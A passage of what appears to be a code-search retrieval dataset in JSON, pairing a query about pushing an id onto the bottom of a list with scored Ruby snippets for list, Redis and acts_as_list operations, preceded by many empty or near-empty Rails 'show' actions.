"score": "0.7389772",
"text": "def show\n \n @page = Page.find(params[:id])\n #render :show - app/views/pages/show.html.erb\n end",
"title": ""
},
{
"docid": "e99cdb2f62fbde1b99155d6a23514938",
"score": "0.73885584",
"text": "def show()\n view.show\n end",
"title": ""
},
{
"docid": "817abe4d373347275551db4d0a6ec1f6",
"score": "0.73755276",
"text": "def show\n render(page_path)\n end",
"title": ""
},
{
"docid": "07ebe5382c182f3ad33b8eb8e197fc99",
"score": "0.7373353",
"text": "def show\n end",
"title": ""
},
{
"docid": "07ebe5382c182f3ad33b8eb8e197fc99",
"score": "0.7373353",
"text": "def show\n end",
"title": ""
},
{
"docid": "07ebe5382c182f3ad33b8eb8e197fc99",
"score": "0.7373353",
"text": "def show\n end",
"title": ""
},
{
"docid": "d410214fc480f452c2f057ae5f8a5b4f",
"score": "0.7361179",
"text": "def show\n end",
"title": ""
},
{
"docid": "d410214fc480f452c2f057ae5f8a5b4f",
"score": "0.7361179",
"text": "def show\n end",
"title": ""
},
{
"docid": "d410214fc480f452c2f057ae5f8a5b4f",
"score": "0.7361179",
"text": "def show\n end",
"title": ""
},
{
"docid": "5bb5a0979dc7c882371198a381787a60",
"score": "0.7356436",
"text": "def show\r\n\r\n end",
"title": ""
},
{
"docid": "5bb5a0979dc7c882371198a381787a60",
"score": "0.7356436",
"text": "def show\r\n\r\n end",
"title": ""
},
{
"docid": "5bb5a0979dc7c882371198a381787a60",
"score": "0.7356436",
"text": "def show\r\n\r\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "ee1b1d8ef6c5a1a84deb5b56c286701d",
"score": "0.7347885",
"text": "def show\n end",
"title": ""
},
{
"docid": "bb20da1b52e9c3362efdbfeca3e98322",
"score": "0.7331421",
"text": "def show\n \n end",
"title": ""
},
{
"docid": "bb20da1b52e9c3362efdbfeca3e98322",
"score": "0.7331421",
"text": "def show\n \n end",
"title": ""
},
{
"docid": "d346e4f3418e812f29ddf19a263bd60a",
"score": "0.7324544",
"text": "def show\n @pages = Page.find(params[:id])\n #renders show.html.erb\n end",
"title": ""
},
{
"docid": "375695699942732dcf99bb3d61d4f442",
"score": "0.7323714",
"text": "def show\n @page = Page.find(params[:id])\n\t\trender 'show', :layout=>'main_layout'\n end",
"title": ""
},
{
"docid": "6252a9ee3875613b9a2328cc69f3e256",
"score": "0.73234105",
"text": "def show\n @page = Page.find(params[:id])\n # render show.html.erb\n end",
"title": ""
},
{
"docid": "6252a9ee3875613b9a2328cc69f3e256",
"score": "0.73234105",
"text": "def show\n @page = Page.find(params[:id])\n # render show.html.erb\n end",
"title": ""
},
{
"docid": "a4ca3f8c2a6ac85aee378f926d1d8ef7",
"score": "0.7320656",
"text": "def show\n\t\trender 'index'\n\tend",
"title": ""
},
{
"docid": "cae04b1d961f6eb7f99bac9ce6b6844f",
"score": "0.7318076",
"text": "def show\n end",
"title": ""
},
{
"docid": "7d456685d3c1354ce16201bad205e08a",
"score": "0.73155385",
"text": "def show\n\t\t\n\tend",
"title": ""
},
{
"docid": "7d456685d3c1354ce16201bad205e08a",
"score": "0.73155385",
"text": "def show\n\t\t\n\tend",
"title": ""
},
{
"docid": "7d456685d3c1354ce16201bad205e08a",
"score": "0.73155385",
"text": "def show\n\t\t\n\tend",
"title": ""
},
{
"docid": "530cb6556b0b3c05b6afe464146c2d0b",
"score": "0.7310103",
"text": "def show\n \n \n end",
"title": ""
},
{
"docid": "530cb6556b0b3c05b6afe464146c2d0b",
"score": "0.7310103",
"text": "def show\n \n \n end",
"title": ""
},
{
"docid": "530cb6556b0b3c05b6afe464146c2d0b",
"score": "0.7310103",
"text": "def show\n \n \n end",
"title": ""
},
{
"docid": "530cb6556b0b3c05b6afe464146c2d0b",
"score": "0.7310103",
"text": "def show\n \n \n end",
"title": ""
},
{
"docid": "009f56961df337e99869165e4868c6da",
"score": "0.7286854",
"text": "def show\n\n end",
"title": ""
},
{
"docid": "ad7ecceb73e421e4f7b9aea21ed8dc60",
"score": "0.72813565",
"text": "def show\n \n # \n end",
"title": ""
},
{
"docid": "f246e7d00b91e69441c1eaa0a9968c64",
"score": "0.7280425",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "f246e7d00b91e69441c1eaa0a9968c64",
"score": "0.7280425",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "f246e7d00b91e69441c1eaa0a9968c64",
"score": "0.7280425",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "f246e7d00b91e69441c1eaa0a9968c64",
"score": "0.7280425",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "cb5c649016991ae820bbb25732486d03",
"score": "0.72748864",
"text": "def show\n\t\t\n\t\t\n\tend",
"title": ""
},
{
"docid": "4d0bb45d64cca3c76e9f341b50f2554b",
"score": "0.7250307",
"text": "def show \n \n end",
"title": ""
},
{
"docid": "096fbc99252247d9590703376177438d",
"score": "0.7230039",
"text": "def show\n \n \n end",
"title": ""
},
{
"docid": "6f6b60e0c0e7d2f1755b0f77d6868420",
"score": "0.72175735",
"text": "def show \n \n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
},
{
"docid": "76e90d3b34050ded0ac36e18b7b564ff",
"score": "0.7205488",
"text": "def show\r\n end",
"title": ""
}
] |
74f3eff2c5c1674b8c374edd579e6d37 | Push the given id onto the bottom of the list. | [
{
"docid": "c4fe0153502d3056e0dc7f62ea8c4de5",
"score": "0.64564973",
"text": "def push!(id)\n redis.multi do\n redis.rpop(@key)\n redis.rpush(@key, id)\n redis.rpush(@key, '*')\n end\n end",
"title": ""
}
] | [
{
"docid": "c2ae68d1648339f51dc7d9332955d5f5",
"score": "0.8035443",
"text": "def move_to_bottom(id)\n redis.multi do\n remove(id)\n push!(id)\n end\n end",
"title": ""
},
{
"docid": "52d4a435598412d3c3d3fe9113be8309",
"score": "0.69025296",
"text": "def push_to_bottom\n to.position = highest_position + 1\n end",
"title": ""
},
{
"docid": "51b2147a5f9947f39a7f6c45d5d02a42",
"score": "0.6670803",
"text": "def push_to_bottom\n to.position = highest_position.zero? ? 1 : highest_position\n end",
"title": ""
},
{
"docid": "d180537edc41167a13263046a96941af",
"score": "0.6624793",
"text": "def unshift_id(id)\n redis.lpush(key, id)\n end",
"title": ""
},
{
"docid": "05da7ff8931890cdebc349de4f683a5f",
"score": "0.66170585",
"text": "def move_up(id)\n if id > 0\n pitem = @feeds[id - 1]\n @feeds[id - 1] = @feeds[id]\n @feeds[id] = pitem\n id - 1\n else\n id\n end\n end",
"title": ""
},
{
"docid": "a00f5ab6260334b8bf6e75b2463830ee",
"score": "0.66075134",
"text": "def add_id(id)\n @ids.push(id)\n end",
"title": ""
},
{
"docid": "8b971114ccbc15480f787edd79550107",
"score": "0.65244454",
"text": "def move_to_top(id)\n redis.multi do\n remove(id)\n unshift!(id)\n end\n end",
"title": ""
},
{
"docid": "70b29e3b466a3a6bc5e8a90410cc83c9",
"score": "0.63659054",
"text": "def push_id(id)\n redis.rpush(key, id)\n end",
"title": ""
},
{
"docid": "25906b32844977ed5a16f40222c3bad7",
"score": "0.63055784",
"text": "def add_to_list_bottom\n self[position_column] = bottom_position_in_list.to_i + 1\n end",
"title": ""
},
{
"docid": "4f55b68838b5e32ec991ead6e3ccbce2",
"score": "0.6301832",
"text": "def unshift!(id)\n redis.lpush(@key, id)\n end",
"title": ""
},
{
"docid": "9297636cdc5649dc346cf47fcd155250",
"score": "0.6299275",
"text": "def move_to_bottom\n in_list? && (last? || add_to_list)\n end",
"title": ""
},
{
"docid": "8729849c78025f58b5a1b32b5bc3da20",
"score": "0.6230103",
"text": "def move_to_bottom\n if in_list?\n list_class.transaction do\n ids = lock_list!\n current_position, last_position = ids.index(id) + 1, ids.size\n\n if current_position < last_position\n sql = <<-SQL\n #{quoted_position_column} = CASE\n WHEN #{quoted_position_column} = #{current_position} THEN #{last_position}\n WHEN #{quoted_position_column} > #{current_position} THEN #{quoted_position_column} - 1\n ELSE #{quoted_position_column}\n END\n SQL\n\n set_position last_position\n list_scope.update_all(sql) > 0\n else\n true\n end\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "5a103e1ef9f33d23579ab9217bb7bc25",
"score": "0.62210155",
"text": "def move_down(id)\n if id < @feeds.size - 1\n nitem = @feeds[id + 1]\n @feeds[id + 1] = @feeds[id]\n @feeds[id] = nitem\n id + 1\n else\n id\n end\n end",
"title": ""
},
{
"docid": "7d47cd2548ab3b80ad1aad7d2b2f630f",
"score": "0.6194707",
"text": "def addToList(id)\n\t\tif (@tweets[id][0] == @minOfTop + 1 and @topList.find_index(id) == nil)\n\n\t\t\t#add it to the list\n\t\t\t@topList.push id\n\n\t\t\t#find the smallest element\n\t\t\tsmallest = @topList.min_by {|a| @tweets[a][0]}\n\n\t\t\t#find the new lowest element\n\t\t\tif @topList.length < @listLength \n\t\t\t\t@minOfTop = 0\n\t\t\telsif @topList.length > @listLength \n\t\t\t\t#@topList = @topList[0 .. @listLength-1]\n\t\t\t\t@topList.slice! (@topList.find_index smallest)\n\t\t\t\tsmallest = @topList.min_by {|a| @tweets[a][0]}\n\t\t\t\t@minOfTop = @tweets[smallest][0]\n\t\t\telse\n\t\t\t\tputs smallest\n\t\t\t\t@minOfTop = @tweets[smallest][0]\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f6d47c4b66fdb3c26febb79fcb17e0b6",
"score": "0.619277",
"text": "def add_to_bottom(the_card)\n\t\t@cards.insert(0, the_card)\n\tend",
"title": ""
},
{
"docid": "ea15876f806d07ad1959baa6ce9c3c18",
"score": "0.6171242",
"text": "def push(id)\n if include?(id)\n false\n else\n push!(id)\n true\n end\n end",
"title": ""
},
{
"docid": "bc38621daa44a896142dd13f14ac9352",
"score": "0.61633396",
"text": "def add_last(child)\n add_at(child, -1)\n @last_items_count += 1\n child\n end",
"title": ""
},
{
"docid": "de311a788c395a46452bffe8b381b1aa",
"score": "0.61580527",
"text": "def move_to_bottom!(list_name = nil)\n in_list?(list_name) && (last_item?(list_name) || add_to_list!(list_name))\n end",
"title": ""
},
{
"docid": "5b73b27da3e4695224e1d7869dd23906",
"score": "0.6132628",
"text": "def add_to_list\n self.position = list.position_after_last\n end",
"title": ""
},
{
"docid": "d0a5e3b4b7f8b3d71966395bc3e35c14",
"score": "0.61132175",
"text": "def add_to_bottom(the_card)\n @cards.unshift(the_card)\n end",
"title": ""
},
{
"docid": "ff42da087661d33e1d386744de22bbe9",
"score": "0.61021596",
"text": "def push(id, body)\n if @queue.size > @queue_limit\n raise(\n SoftError,\n \"Queue is too long (#{@queue.size} wallets), can't add #{id}/#{Size.new(body.length)}, try again later\"\n )\n end\n start = Time.now\n unless exists?(id, body)\n loop do\n uuid = SecureRandom.uuid\n file = File.join(@dir, \"#{id}-#{uuid}#{Wallet::EXT}\")\n next if File.exist?(file)\n IO.write(file, body)\n @queue << { id: id, file: file }\n @log.debug(\"Added #{id}/#{Size.new(body.length)} to the queue at pos.#{@queue.size} \\\n in #{Age.new(start, limit: 0.05)}\")\n break\n end\n end\n [id]\n end",
"title": ""
},
{
"docid": "27fa0d3415d2c66db93aa103f171a4f8",
"score": "0.6091799",
"text": "def add_to_list_top\n increment_positions_on_all_items\n end",
"title": ""
},
{
"docid": "3ecb2531c9d297d015f8c13045b0f20d",
"score": "0.6091587",
"text": "def move_to_bottom\n return unless in_list?\n assume_bottom_position\n end",
"title": ""
},
{
"docid": "107f7443d1fb90e4de26449fad50d836",
"score": "0.6077108",
"text": "def add_last(data)\n raise ArgumentError 'data must have non-nil value' unless data\n @list << data\n if @list.size > 1\n update_next_in_listitem(tail-1)\n update_prev_in_listitem(tail)\n else\n clear_prev_in_listitem(tail)\n update_first_in_listinfo\n end\n clear_next_in_listitem(tail)\n update_last_in_listinfo\n @list.size\n end",
"title": ""
},
{
"docid": "bd64153580aec319f6ca9fea5cfb7baa",
"score": "0.60650164",
"text": "def move_up(id)\n with_lock do\n position = index(id)\n if position.nil? or position == 0\n nil\n else\n prev_id = get(position - 1)\n redis.multi do\n set(position - 1, id)\n set(position, prev_id)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "58deb4fa4fa3a58ffff9d575b7809413",
"score": "0.60643303",
"text": "def push(item)\n @size += 1\n @list.unshift(item)\n\n self\n end",
"title": ""
},
{
"docid": "462834e2c14dbc9af636285703406a12",
"score": "0.60497135",
"text": "def add_record(id)\n return if @ids.include?(id)\n\n @ids_orig << id\n @ids << id\n @records << get_record(id)\n fetch_record(id)\n end",
"title": ""
},
{
"docid": "de2742860b0cf9bfff84c4642874aa8e",
"score": "0.60417855",
"text": "def insert(id, value)\n chunk_list = []\n @stream[id - 1] = value\n\n while @stream[@ptr]\n chunk_list.push(@stream[@ptr])\n @ptr += 1\n end\n\n chunk_list\n end",
"title": ""
},
{
"docid": "51ea25ecf0d77fc86101e42486ccdb4c",
"score": "0.603637",
"text": "def insert(id)\n # Find the index of the page that should hold ID.\n index = @page_records.bsearch_index { |pr| pr.max_id >= id }\n # Get the corresponding IDListPageRecord object.\n page = @page_records[index]\n\n # In case the page is already full we'll have to create a new page.\n # There is no guarantee that a split will yield a page with space as we\n # split by ID range, not by distributing the values evenly across the\n # two pages.\n while page.is_full?\n new_page = page.split\n # Store the newly created page into the page_records list.\n @page_records.insert(index + 1, new_page)\n if id >= new_page.min_id\n # We need to insert the ID into the newly created page. Adjust index\n # and page reference accordingly.\n index += 1\n page = new_page\n end\n end\n\n # Insert the ID into the page.\n page.insert(id)\n end",
"title": ""
},
{
"docid": "dce88104f25d63537f55aa35e0d71b2a",
"score": "0.59950536",
"text": "def add!(id, child)\n remove_id(id)\n @children[id] = child\n end",
"title": ""
},
{
"docid": "7dcbb2906ca5bcab743a3329af6b2433",
"score": "0.59895116",
"text": "def append_to_tail(id_or_node)\n if !@head\n @head = id_or_node.is_a?(Fixnum) ? Node.new(id_or_node) : id_or_node\n return\n end\n\n last = id_or_node.is_a?(Fixnum) ? Node.new(id_or_node) : id_or_node\n current = @head\n\n while current.next != nil\n current = current.next\n end\n\n current.append(last)\n end",
"title": ""
},
{
"docid": "cf46a02038a308128cc8d41d696c66fd",
"score": "0.5988942",
"text": "def push(item)\n @list.unshift(item)\n end",
"title": ""
},
{
"docid": "d497ffc341125aba92cfcbdb252ea12c",
"score": "0.5954035",
"text": "def borrow_update(id)\n @borrow_list.push(id)\n end",
"title": ""
},
{
"docid": "345c1213f431cef18f866cc713cb1aaa",
"score": "0.5940149",
"text": "def add(el)\n @data[@bottom] = el\n bubble_up(@bottom)\n @bottom += 1\n self\n end",
"title": ""
},
{
"docid": "37cc5a89663c1671a3675ccfde70308c",
"score": "0.59364146",
"text": "def move_to_bottom\n return unless in_list?\n decrement_positions_on_lower_items\n assume_bottom_position\n end",
"title": ""
},
{
"docid": "06e0d3cd61f730222d1b625140e6618d",
"score": "0.5924755",
"text": "def move_to_bottom\n return unless in_list?\n self.class.transaction do\n adjust_positions_on_lower_items(-1, !number_enabled? ? 1 : 0)\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "37b5e6f7c00e3b75158795a642bd75fe",
"score": "0.59236634",
"text": "def append_to_list\n self.position = list.last.try(:position)\n increment(:position)\n self.save\n end",
"title": ""
},
{
"docid": "6cf2c70b0a83251a760054ac2053d572",
"score": "0.5916979",
"text": "def add_to_list_bottom\n self[position_column] ||= bottom_position_in_list.to_i + 1\n end",
"title": ""
},
{
"docid": "562915732f935c4b61832d50fe8434b9",
"score": "0.5909964",
"text": "def push(value)\n @list.unshift(value)\n\n self\n end",
"title": ""
},
{
"docid": "e02c72b09689c7897a9e454606ec9678",
"score": "0.5905311",
"text": "def add_byId(item_id)\n @items.push( Item.which(item_id) )\n end",
"title": ""
},
{
"docid": "75873b77106a982a22e837292f9f6ea8",
"score": "0.5904176",
"text": "def add(el)\n @data[@bottom] = el\n bubble_up(@bottom)\n @bottom += 1\n self\n end",
"title": ""
},
{
"docid": "de34752594b803a61f56b610ebf30644",
"score": "0.58950627",
"text": "def move_to_bottom\n return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "d062a45873fa7ac3ea457de817144be0",
"score": "0.58709216",
"text": "def move_to_bottom\n return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "1383ada9fd6ae4e306cca31bd1f6b260",
"score": "0.5864143",
"text": "def add_last(object)\n new_node = Node.new(object, parent_list: self)\n if @tail\n new_node.insert_after(@tail)\n @tail = new_node\n else\n @head = @tail = new_node\n end\n @size += 1\n new_node\n end",
"title": ""
},
{
"docid": "d6543e67429c015711caed4b183d8bbe",
"score": "0.5861731",
"text": "def push(value)\n @store.add_last(value)\n end",
"title": ""
},
{
"docid": "c74674cd30e5d6335ff99ff05eb46157",
"score": "0.585923",
"text": "def push()\n @data.push(@data[-1].copy())\n end",
"title": ""
},
{
"docid": "f82f9961687e338d894e69e4d9a1c086",
"score": "0.585516",
"text": "def place_item model, id, new_index\n # Get items list\n items = self.get_items(model, 'ASC')\n # Get item from id in list\n item = items.delete_at(items.index {|i| i.id == id})\n # Reorder items placing our newly indexed item\n reordered_items = new_index > items.length ? items.push(item) : new_index < 0 ? items.unshift(item) : items.insert(new_index, item)\n # Save ordered items\n n = -1\n sort_ordered_model_items model, reordered_items.map {|i| {:id => i.id, :index => (n += 1)}}\n end",
"title": ""
},
{
"docid": "9d7b123b265b01231ba8dc7f655c0d66",
"score": "0.5855022",
"text": "def push\n self.class.transaction do\n lock!\n append_to(_siblings.last_in_order) unless last?\n end\n end",
"title": ""
},
{
"docid": "8a7623d1e5213a35ac3a2ed0b917bc2e",
"score": "0.5837933",
"text": "def push(value)\n @size += 1\n\n lli = LinkedListItem.new(value)\n if @first_item\n last_item.next_item = lli\n else\n @first_item = lli\n end\n end",
"title": ""
},
{
"docid": "ed653c572151544899b9b388b7251bd2",
"score": "0.5826603",
"text": "def push(id, body)\n before = @zache.get(id.to_s, lifetime: @period) { '' }\n after = hash(id, body)\n if before == after\n @log.debug(\"Spam of #{id} ignored; the wallet content of #{Size.new(body.length)} \\\nand '#{after[0..8]}' hash has already been seen #{Age.new(@zache.mtime(id.to_s))} ago\")\n return []\n end\n @zache.put(id.to_s, after)\n @entrance.push(id, body)\n end",
"title": ""
},
{
"docid": "18e537e8b428a433c5dc7a3391610daa",
"score": "0.5825464",
"text": "def move_to_bottom\n transaction_if_listed do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "18e537e8b428a433c5dc7a3391610daa",
"score": "0.5825464",
"text": "def move_to_bottom\n transaction_if_listed do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "18e537e8b428a433c5dc7a3391610daa",
"score": "0.5825464",
"text": "def move_to_bottom\n transaction_if_listed do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"title": ""
},
{
"docid": "37b9adf99e6e54af5a6dd4c107ef94dd",
"score": "0.5818044",
"text": "def push(x)\n addToTop(x)\n self\n end",
"title": ""
},
{
"docid": "f1b1a10ca804f70fbd21ddcdb7305eb0",
"score": "0.5804601",
"text": "def last(id=nil)\n\t\t\tordered and_then(id), :last\n\t\tend",
"title": ""
},
{
"docid": "a95895229f8abcdbc9301d26ec39d828",
"score": "0.5802555",
"text": "def push\n if @top.nil?\n @top = 0\n @list[@top] = {}\n else\n @top += 1\n @list[@top] = @list[@top - 1].dup\n end\n end",
"title": ""
},
{
"docid": "b5e629361e3e9d90e6eccb3b821265f0",
"score": "0.57822263",
"text": "def add_to_list_bottom\n super if @update_positions\n end",
"title": ""
},
{
"docid": "af139f7f35b7b5bd75155b1a8d9ec206",
"score": "0.57794666",
"text": "def append(obj, id, pri = 0, &prc)\n verbose { cfmt('Appending in %s [%s]', @name, __mk_id(obj, id)) }\n return self unless (id = __chk_id(obj, id))\n @list[pri][id] = prc\n verbose { cfmt('Appended in %s %S', @name, view) }\n self\n end",
"title": ""
},
{
"docid": "a124ef4ec3ae6b3054db7eccc24c8701",
"score": "0.57786286",
"text": "def push(id, value)\n @queues[id].push(value)\n end",
"title": ""
},
{
"docid": "1d782b684b5bc869d9025229deaa69d4",
"score": "0.5768623",
"text": "def push_to_bottom_after_commit\n transaction.after_commit do\n connection.logger.debug { \"Forcing new record (id=#{record.id}, position=#{node.position}) to be placed to bottom\" }\n\n connection.transaction do\n # lock new siblings\n to.siblings.lock.reload\n\n if positions_collided?\n update_created set position => siblings.select(coalesce(max(position), 0) + 1)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a2b42e05d469762532e4035d1caa519d",
"score": "0.5757358",
"text": "def add_item_last(item)\n add_item(@items.length, item)\n end",
"title": ""
},
{
"docid": "a70653a204a62ede29ed5ee451333c2d",
"score": "0.5744618",
"text": "def push(item); end",
"title": ""
},
{
"docid": "a70653a204a62ede29ed5ee451333c2d",
"score": "0.5744618",
"text": "def push(item); end",
"title": ""
},
{
"docid": "a70653a204a62ede29ed5ee451333c2d",
"score": "0.5744618",
"text": "def push(item); end",
"title": ""
},
{
"docid": "a70653a204a62ede29ed5ee451333c2d",
"score": "0.5744618",
"text": "def push(item); end",
"title": ""
},
{
"docid": "7e03f7fe8e924bd597f6769ec9ee5451",
"score": "0.5727002",
"text": "def push(kid)\n @start = kid.start if kid.start && @start && kid.start < @start\n @end = kid.end if kid.end && @end && @end < kid.end\n @children.push(kid)\n end",
"title": ""
},
{
"docid": "b51543a4eda73cb552d30bbb247b7793",
"score": "0.5705866",
"text": "def insert_last(value)\n deque.push(value)\n end",
"title": ""
},
{
"docid": "eaca2b9f2f48ac44acd37c34d26ce55f",
"score": "0.5699922",
"text": "def push(item)\n if !@duplicates && last == item\n # skip adding this line\n return self\n end\n\n unless @exclude.call(item)\n # Remove the oldest element if size is exceeded\n if @size <= length\n @history.reverse!.pop\n @history.reverse!\n end\n # Add the new item and reset the position\n @history.push item\n @position = nil\n end\n self\n end",
"title": ""
},
{
"docid": "f656cc6826676193439b358c9c692d0e",
"score": "0.5695298",
"text": "def bottomInsert( stk, element)\n if ((stk.length == 0))\n stk.push(element)\n else\n temp = stk.pop()\n bottomInsert(stk, element)\n stk.push(temp)\n end\nend",
"title": ""
},
{
"docid": "bd69553c9d156a05f7b78be22942c769",
"score": "0.56702536",
"text": "def push(id, body)\n raise 'Id can\\'t be nil' if id.nil?\n raise 'Id must be of type Id' unless id.is_a?(Id)\n raise 'Body can\\'t be nil' if body.nil?\n Tempfile.open(['', Wallet::EXTENSION]) do |f|\n File.write(f, body)\n wallet = Wallet.new(f.path)\n wallet.refurbish\n after = File.read(wallet.path)\n before = @wallets.find(id) do |w|\n w.exists? ? File.read(w.path).to_s : ''\n end\n if before == after\n @log.info(\n \"Duplicate of #{id}/#{wallet.digest[0, 6]}/#{Size.new(after.length)}/#{wallet.txns.count}t ignored\"\n )\n return []\n end\n @log.info(\n \"New content for #{id} arrived, #{Size.new(before.length)} before and #{Size.new(after.length)} after\"\n )\n @entrance.push(id, body)\n end\n end",
"title": ""
},
{
"docid": "0481bb49c50503a6eb0fda8a9cb7660f",
"score": "0.56673855",
"text": "def move_to_bottom\n lp = last_position \n move_to(lp, lp)\n end",
"title": ""
},
{
"docid": "006ef561e043f41f724b92d94d3d957a",
"score": "0.5656307",
"text": "def move_to_bottom\r\n return true if at_bottom?\r\n move_below(last_sibling_in_list)\r\n end",
"title": ""
},
{
"docid": "631a7c6d633a7eff0d175e26e292b8c2",
"score": "0.5650399",
"text": "def push(object)\n\t\tnode = Node.new(object)\n\t\tnode.next = @last\n\t\tnode.prev = @last.prev\n\t\t\n\t\t@last.prev.next = node\n\t\t@last.prev = node\n\t\t@size += 1\n\tend",
"title": ""
},
{
"docid": "a1ade384ccbb61aaa41edf8800e6b23a",
"score": "0.5636613",
"text": "def add!(id, child)\n valid_id?(id) ? do_insert(id, child) : nil\n end",
"title": ""
},
{
"docid": "b7d6b876aff13600192e7ca98d3e577a",
"score": "0.56328773",
"text": "def push(number)\n @list.push(number)\n end",
"title": ""
},
{
"docid": "9f8603c4188dfdfb2e44337f75ee602f",
"score": "0.561579",
